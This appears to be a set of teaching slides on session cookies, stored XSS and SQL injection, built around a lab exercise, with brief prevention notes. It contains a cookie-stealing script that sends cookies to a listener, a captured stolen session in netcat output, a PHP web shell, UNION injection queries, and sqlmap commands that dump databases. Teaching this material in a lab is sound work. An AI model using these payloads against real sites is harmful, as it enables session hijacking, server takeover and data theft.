

SQL Injection and XSS

By: Stanley & Derek

HTTP Authentication

- Stateless



Hey, log me into google.com

Here is my username & password



Token

Real example

POST /works/system/login HTTP/1.1

Host: scalar.usc.edu

Content-Length: 93

Content-Type: application/x-www-form-urlencoded

action=do_login&redirect_url=%2Fworks%2F&msg=&email=stanman104%40gmail.com&password=password0

HTTP/1.1 302 Found

Set-Cookie: works_ci_session=%2BIKU9q8AF....84379214ceca9a421; expires=Fri, 27-Apr-2018 14:56:58 GMT;

Max-Age=14400; path=/

Location: /works/

Real example cont.

```
GET /works/pathfinders/media/book_thumbnail.png HTTP/1.1
Host: scalar.usc.edu
Cookie:
works_ci_session=%2BIKU9q8AFMtO8PBDC0Ob...47fed22bcc1d814ec7984379214ceca9a421
```

You try

scalar.me | stanman104@gmail.com | password0

The screenshot shows a web browser window with the URL `scalar.usc.edu/works/`. The page displays the Scalar logo and a section titled "Featured Books" with entries like "Pathfinders" and "FemTechNet Critical Studies Pedagogy". A context menu is open over the "Inspect Element" option, which is highlighted. The menu includes options like "Save Page As...", "View Page Source", and "Take a Screenshot". The browser's developer tools are visible at the bottom, showing the "Cache Storage" and "Cookies" sections. The "Cookies" section is expanded, showing a table of cookies.

Name	Domain	Path	Expires on	Last accessed on	Value
works_ci_session	scalar.usc.edu	/	Fri, 27 Apr 2018 15:22:03 ...	Fri, 27 Apr 2018 11:22:03 ...	z%2BJR1qnDJna8rMqQMTnRfgTBljWfPh2ALvIYF1ZsCjHn27Ms9rpl

You try cont.

- 1) Grab the cookie by entering “document.cookie” in the developer console.

```
>> document.cookie  
← "works_ci_session=ugD4KYgPmvTj%2BTo%2BvUkTNTEmbMaWUz  
1Amp5S1sngZFL3fPPg2%2BQE1QZtrkyeCH3p0%2FT%2Fs0WZ5gAN  
e9c4241f4f8b9ed5536b18"
```

- 2) Copy the output
- 3) Open a private window and navigate to ‘scalar.me’
- 4) Enter “document.cookie=[output from previous command]”

Stored XSS

Getting your code to run on the target webpage client side.

Stored XSS cont.

\$ ip r

\$ nc -lp 8080

```
Windows PowerShell
PS C:\Users\stanm\Desktop> ./nc -lp 80
GET /works_ci_session=Zk0D9y3QQqYE2L8HQePeI15B3bIVDZewn651%2FV5h59aETk12VbPRNkXab9T0PTyWxqHA%
2Ffdvvh%2F3rnsgtowfyfngfyg%2FCk9P0eaHHMQgjF0mEVCC1Ck9tAuCcBWgxf1BmJKz0JMrx3oL3MDOh4Ur2TcwU%2F
y6wRRQsZgF0rsybxQUkxb5yPZc3e8qngAZt3b7hWV8BC2dbu2Uh0ikk6rNdtOjkFMXVX19rKEDNx4vqKM535IsXLd68N%2
FSN4VgijGTR48P3Ch4mpVsBWi2z6oeKQ5N7Tij5zYLrtsDgt04d1LeumliVcDKMUybtoJ1d8FW4c1pPbT18rsYMqXkoJkz
%2FhTerZ%2B00PnZ06f5JCZ7o2P0yPa3w1WS2mzBw3GRSI1ee033ba2d9a868abcad6ecd541630f687ad3f HTTP/1.
1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://scalar.usc.edu/works/
Connection: keep-alive
DNT: 1

PS C:\Users\stanm\Desktop>
```

```
<!DOCTYPE html>
<html>
  <head>
  </head>
  <body>
    <div class="cover">
    </div>
    <div class="system_wrapper">
    <img>
      
    </body>
  </html>
```


Exercise

Use CSRF to hack into the admins account in the VMs.

Note:

```
<script>
  var E = document.createElement("img");
  E.src = "http://10.1.1.XXX:8080/" + document.cookie;
  document.body.appendChild(E);
</script>
```

Prevention

Content security policies (CSPs)

- What the current page is allowed to run.
- Whitelist content from certain domains.

Cross-Origin Resource Sharing (CORS)

- What sites the current page is allowed to get resources from.
- Who is allowed to get what content and how they are allowed to get it.

Mysql

<https://bit.ly/2sMIDVF>

- = https://www.w3schools.com/sql/trysql.asp?filename=trysql_op_in

What the SQL command probably looks like

```
“SELECT * FROM Orders WHERE CustomerID == ” + id
```

Determining the # of columns

for x = 0 to 100:

Try:

```
“SELECT * FROM Orders WHERE CustomerID == ” + id + “ ORDER BY ” + x;
```

on error:

```
Echo “Their are ” + (x - 1) + “ columns.”
```

```
break;
```

Determining the # or columns in the VM

UNION

A	B	C
1	3	5
2	4	6

union

D	E	F
6	7	8

=

A	B	C
6	7	8
1	3	5
2	4	6

Example

```
SELECT * FROM Orders where CustomerID == 90 UNION SELECT 1,2,3,4,5;
```

Number of Records: 2

OrderID	CustomerID	EmployeeID	OrderDate	ShipperID
1	2	3	4	5
10248	90	5	1996-07-04	3

Write to file

```
SELECT ... INTO OUTFILE <File Name>
```

PHP run commands

```
SELECT CONCAT(0x6065);
```

List of directories

```
nmap -sV --script=http-enum <target>
```

Run PHP

```
<?php system($_GET['c']); ?>
```

Get tables

/admin/edit.php?id=-1 UNION

SELECT 1, 2, table_name, 3

FROM INFORMATION_SCHEMA.TABLES

WHERE TABLE_TYPE = 'BASE TABLE' LIMIT <row>,1;

Tools

// Find the databases given a vulnerable [URL].

- sqlmap -u [URL] --dbs
- sqlmap -u [URL] --dbs --cookie=[cookies]

// Find tables in a given DB.

- sqlmap -u [URL] -D [database] --tables

// Get columns for a given table.

- sqlmap -u [URL] -D [database] -T [table] --Columns

// Get the data in the table

- sqlmap -u [URL] -D [database] -T [table] --dump

Problem



```
1 <?php
2     require("../classes/auth.php");
3     require("header.php");
4     require("../classes/db.php");
5     require("../classes/phpfix.php");
6     require("../classes/post.php");
7
8     $post = Post::find($_GET['id']);
9     if (isset($_POST['title'])) {
10         $post->update($_POST['title'], $_POST['text']);
11     }
12 ?>
13
14 <form action="edit.php?id=<?php echo htmlentities($_GET['id
15     Title:
```

Bibliography

https://pentesterlab.com/exercises/xss_and_mysql_file

Problem Cont.

```
function find($id) {  
    $result = mysql_query("SELECT * FROM posts where id=".$id);  
    $row = mysql_fetch_assoc($result);  
    if (isset($row)) {  
        $post = new Post($row['id'], $row['title'], $row['text'], $row['published']);  
    }  
    return $post;  
}
```

Solution

Make sure it's a base 10 number that is supplied.